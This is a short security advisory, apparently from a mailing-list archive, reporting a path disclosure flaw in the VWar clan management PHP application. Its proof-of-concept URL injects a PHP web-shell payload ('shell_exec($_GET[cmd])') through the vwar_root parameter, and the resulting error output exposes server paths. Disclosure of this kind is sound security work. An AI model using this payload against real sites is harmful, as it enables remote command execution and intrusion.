<<< Date Index >>>     <<< Thread Index >>>

VWar Path Disclosure



SUMMARY : 
VWar is is a clan management system. It stores all clan members details. Logs 
match results and keeps track of upcomming matches. Using the links under the 
Vwar menu, you can view all clan members, view upcomming matches, view previous 
results, view clan statistics and members can log into Vwar to edit their own 
profile.



============================================================

ISSUE: 
The recent exploit provided by aliHackers for VWar (VWar <= ver 1.21 Remote 
Code Execution Exploit #) 
has also another affect on the higher unptached versions of vWAR such as v1.5 
and also on versions less than 1.2 .
Apart from the successful code execution exploit even if the expliot fails 
still running the following code on the web browser shows the full path of the 
installed modules even if the remote php shell is not acheived.


===========================================================

POC :
http://www.anyvwarsite.com/[PATH VWAR]/[PATH TO 
ADMINMODULE]/admin.php?vwar_root=%3C?shell_exec($_GET[cmd]);?%3E

Impact : # The following error message is displayed on the web browser.

Warning: main(includes/functions_admin.php): failed to open stream: No such 
file or directory in /home/fitchett/public_html/vwar/admin/admin.php on line 23

Warning: main(includes/functions_admin.php): failed to open stream: No such 
file or directory in /home/fitchett/public_html/vwar/admin/admin.php on line 23

Fatal error: main(): Failed opening required 
'<?shell_exec($_GET[cmd]);?>includes/functions_admin.php' 
(include_path='.:/usr/lib/php:/usr/local/lib/php') in 
/home/fitchett/public_html/vwar/admin/admin.php on line 23  

The path discolsure can aid an attacker for further code injections and run 
artibary commands via web browser. This vulnerability is tested on v1.2 and 
less whereas many other unpatched higher versions like v1.5 also shows the same 
error .